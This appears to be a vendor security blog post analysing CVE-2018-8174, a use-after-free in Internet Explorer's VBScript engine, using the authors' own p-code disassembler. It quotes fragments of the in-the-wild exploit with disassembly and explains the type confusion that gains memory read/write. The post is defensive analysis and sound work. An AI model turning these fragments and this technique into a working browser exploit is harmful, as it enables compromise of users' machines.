Delving deep into VBScript
In late April we found and wrote a description of CVE-2018-8174, a new zero-day vulnerability for Internet Explorer that was picked up by our sandbox. The vulnerability uses a well-known technique from the proof-of-concept exploit CVE-2014-6332 that essentially “corrupts” two memory objects and changes the type of one object to Array (for read/write access to the address space) and the other object to Integer to fetch the address of an arbitrary object.
But whereas CVE-2014-6332 was aimed at integer overflow exploitation for writing to arbitrary memory locations, my interest lay in how this technique was adapted to exploit the use-after-free vulnerability. To answer this question, let’s consider the internal structure of the VBScript interpreter.
Debugging a VBScript executable is a tedious task. Before the script is executed, it is compiled into p-code, which is then interpreted by the virtual machine. There is no open source information about the internal structure of this virtual machine and its instructions. It took me a lot of effort to track down a couple of web pages with Microsoft engineer reports dated 1999 and 2004 that shed some light on the p-code. There was enough information there for me to fully reverse-engineer all the VM instructions and write a disassembler! The final scripts for disassembling VBScript p-code in the memory of the IDA Pro and WinDBG debuggers are available in our Github repository.
With an understanding of the interpreted code, we can precisely monitor the execution of the script: we have full information about where the code is being executed at any given moment, and we can observe all objects that are created and referenced by the script. All this greatly assists in the analysis.
The best place to run the disassembling script is the CScriptRuntime::RunNoEH function, which directly interprets the p-code.
The CScriptRuntime class contains all information about the state of the interpreter: local variables, function arguments, pointers to the top of the stack and the current instruction, plus the address of the compiled script.
The VBScript virtual machine is stack-oriented and consists of slightly more than 100 instructions.
All variables (local arguments and ones on the stack) are represented as a VARIANT structure occupying 16 bytes, where the upper word indicates the data type. Some of the type values are given on the relevant MSDN page.
Below is the code and disassembled p-code of class ‘Class1’:
Class Class1 Dim mem Function P End Function Function SetProp(Value) mem=Value SetProp=0 End Function End Class
Function 34 ('Class1') [max stack = 1]: arg count = 0 lcl count = 0 Pcode: 0000 OP_CreateClass 0005 OP_FnBindEx 'p' 35 FALSE 000F OP_FnBindEx 'SetProp' 36 FALSE 0019 OP_CreateVar 'mem' FALSE 001F OP_LocalSet 0 0022 OP_FnReturn Function 35 ('p') [max stack = 0]: arg count = 0 lcl count = 0 Pcode: ***BOS(8252,8264)*** End Function ***** 0000 OP_Bos1 0 0002 OP_FnReturn 0003 OP_Bos0 0004 OP_FuncEnd Function 36 ('SetProp') [max stack = 1]: arg count = 1 arg -1 = ref Variant 'value' lcl count = 0 Pcode: ***BOS(8292,8301)*** mem=Value ***** 0000 OP_Bos1 0 0002 OP_LocalAdr -1 0005 OP_NamedSt 'mem' ***BOS(8304,8315)*** SetProp=(0) ***** 000A OP_Bos1 1 000C OP_IntConst 0 000E OP_LocalSt 0 ***BOS(8317,8329)*** End Function ***** 0011 OP_Bos1 2 0013 OP_FnReturn 0014 OP_Bos0 0015 OP_FuncEnd
Function 34 is a constructor of class ‘Class1’.
The OP_CreateClass instruction calls the VBScriptClass::Create function to create a VBScriptClass object.
The OP_FnBindEx and OP_CreateVar instructions try to fetch the variables passed in the arguments, and since they do not yet exist, they are created by the VBScriptClass::CreateVar function.
This diagram shows how variables can be fetched from a VBScriptClass object. The value of the variable is stored in the VVAL structure:
To understand the exploitation, it is important to know how variables are represented in the VBScriptClass structure.
When the OP_NamedSt ‘mem’ instruction is executed in function 36 (‘SetProp’), it calls the Default Property Getter of the instance of the class that was previously stacked and then stores the returned value in the variable ‘mem’.
***BOS(8292,8301)*** mem=Value *****
0002OP_LocalAdr -1 <——– put argument on stack
0005OP_NamedSt ‘mem’ <——– if it's a class dispatcher with Default Property Getter, call and store returned value in mem
Below is the code and disassembled p-code of function 30 (p), which is called during execution of the OP_NamedSt instruction:
Class lllIIl Public Default Property Get P Dim llII P=CDbl("174088534690791e-324") For IIIl=0 To 6 IIIlI(IIIl)=0 Next Set llII=New Class2 llII.mem=lIlIIl For IIIl=0 To 6 Set IIIlI(IIIl)=llII Next End Property End Class
Function 30 ('p') [max stack = 3]: arg count = 0 lcl count = 1 lcl 1 = Variant 'llII' tmp count = 4 Pcode: ***BOS(8626,8656)*** P=CDbl("174088534690791e-324") ***** 0000 OP_Bos1 0 0002 OP_StrConst '174088534690791e-324' 0007 OP_CallNmdAdr 'CDbl' 1 000E OP_LocalSt 0 ***BOS(8763,8782)*** For IIIl=(0) To (6) ***** 0011 OP_Bos1 1 0013 OP_IntConst 0 0015 OP_IntConst 6 0017 OP_IntConst 1 0019 OP_ForInitNamed 'IIIl' 5 4 0022 OP_JccFalse 0047 ***BOS(8809,8824)*** IIIlI(IIIl)=(0) ***** 0027 OP_Bos1 2 0029 OP_IntConst 0 002B OP_NamedAdr 'IIIl' 0030 OP_CallNmdSt 'IIIlI' 1 ***BOS(8826,8830)*** Next ***** 0037 OP_Bos1 3 0039 OP_ForNextNamed 'IIIl' 5 4 0042 OP_JccTrue 0027 ***BOS(8855,8874)*** Set llII=New Class2 ***** 0047 OP_Bos1 4 0049 OP_InitClass 'Class2' 004E OP_LocalSet 1 ***BOS(8876,8891)*** llII.mem=lIlIIl ***** 0051 OP_Bos1 5 0053 OP_NamedAdr 'lIlIIl' 0058 OP_LocalAdr 1 005B OP_MemSt 'mem' ….
The first basic block of this function is:
***BOS(8626,8656)*** P=CDbl(“174088534690791e-324”) *****
This block converts the string ‘174088534690791e-324’ to VARIANT and stores it in the local variable 0, reserved for the return value of the function.
After the return value is set but before it is returned, this function performs:
For IIIl=0 To 6
This calls the garbage collector for the ‘Class1’ instance and results in a dangling pointer reference due to the use-after-free vulnerability in Class_Terminate() that we discussed earlier.
In the line
***BOS(8855,8874)*** Set llII=New Class2 *****
the OP_InitClass ‘Class2’ instruction creates an “evil twin” instance of class ‘Class1’ at the location of the previously freed VBScriptClass, which is still referenced by the OP_NamedSt ‘mem’ instruction in function 36 (‘SetProp’).
Class ‘Class2’ is the “evil twin” of class ‘Class1’:
Class Class2 Dim mem Function P0123456789 P0123456789=LenB(mem(IlII+(8))) End Function Function SPP End Function End Class
Function 31 ('Class2') [max stack = 1]: arg count = 0 lcl count = 0 Pcode: 0000 OP_CreateClass 'Class2' 0005 OP_FnBindEx 'P0123456789' 32 FALSE 000F OP_FnBindEx 'SPP' 33 FALSE 0019 OP_CreateVar 'mem' FALSE 001F OP_LocalSet 0 0022 OP_FnReturn Function 32 ('P0123456789') [max stack = 2]: arg count = 0 lcl count = 0 Pcode: ***BOS(8390,8421)*** P0123456789=LenB(mem(IlII+(8))) ***** 0000 OP_Bos1 0 0002 OP_NamedAdr 'IlII' 0007 OP_IntConst 8 0009 OP_Add 000A OP_CallNmdAdr 'mem' 1 0011 OP_CallNmdAdr 'LenB' 1 0018 OP_LocalSt 0 ***BOS(8423,8435)*** End Function ***** 001B OP_Bos1 1 001D OP_FnReturn 001E OP_Bos0 001F OP_FuncEnd Function 33 ('SPP') [max stack = 0]: arg count = 0 lcl count = 0 Pcode: ***BOS(8451,8463)*** End Function ***** 0000 OP_Bos1 0 0002 OP_FnReturn 0003 OP_Bos0 0004 OP_FuncEnd
The location of variables in memory is predictable. The amount of data occupied by the VVAL structure is calculated using the formula 0x32 + the length of the variable name in UTF-16.
Below is a diagram that shows the location of ‘Class1’ variables relative to ‘Class2’ variables when ‘Class2’ is allocated in place of ‘Class1’.
When execution of the OP_NamedSt ‘mem’ instruction in function 36 (‘SetProp’) is complete, the value returned by function 30 (‘p’) is written to memory through the dangling pointer of VVAL ‘mem’ in Class1, overwriting the VARIANT type of VVAL ‘mem’ in Class2.
Thus, an object of type String is converted to an object of type Array, and data that was previously considered to be a string is treated as an Array control structure, allowing access to be gained to the entire address space of the process.
Our scripts for disassembling VBScript compiled into p-code enable VBScript debugging at the bytecode level, which helps to analyze exploits and understand how VBScript operates. They are available in our Github repository
The case of CVE-2018-8174 demonstrates that when memory allocations are highly predictable, use-after-free vulnerabilities are easy to exploit. The in-the-wild exploit targets older versions of Windows. The location of objects in memory required for its exploitation is most likely to occur in Windows 7 and Windows 8.1.
Automatic Exploit Protection (AEP), part of Kaspersky Lab products, blocks all stages of the exploit with the following verdicts: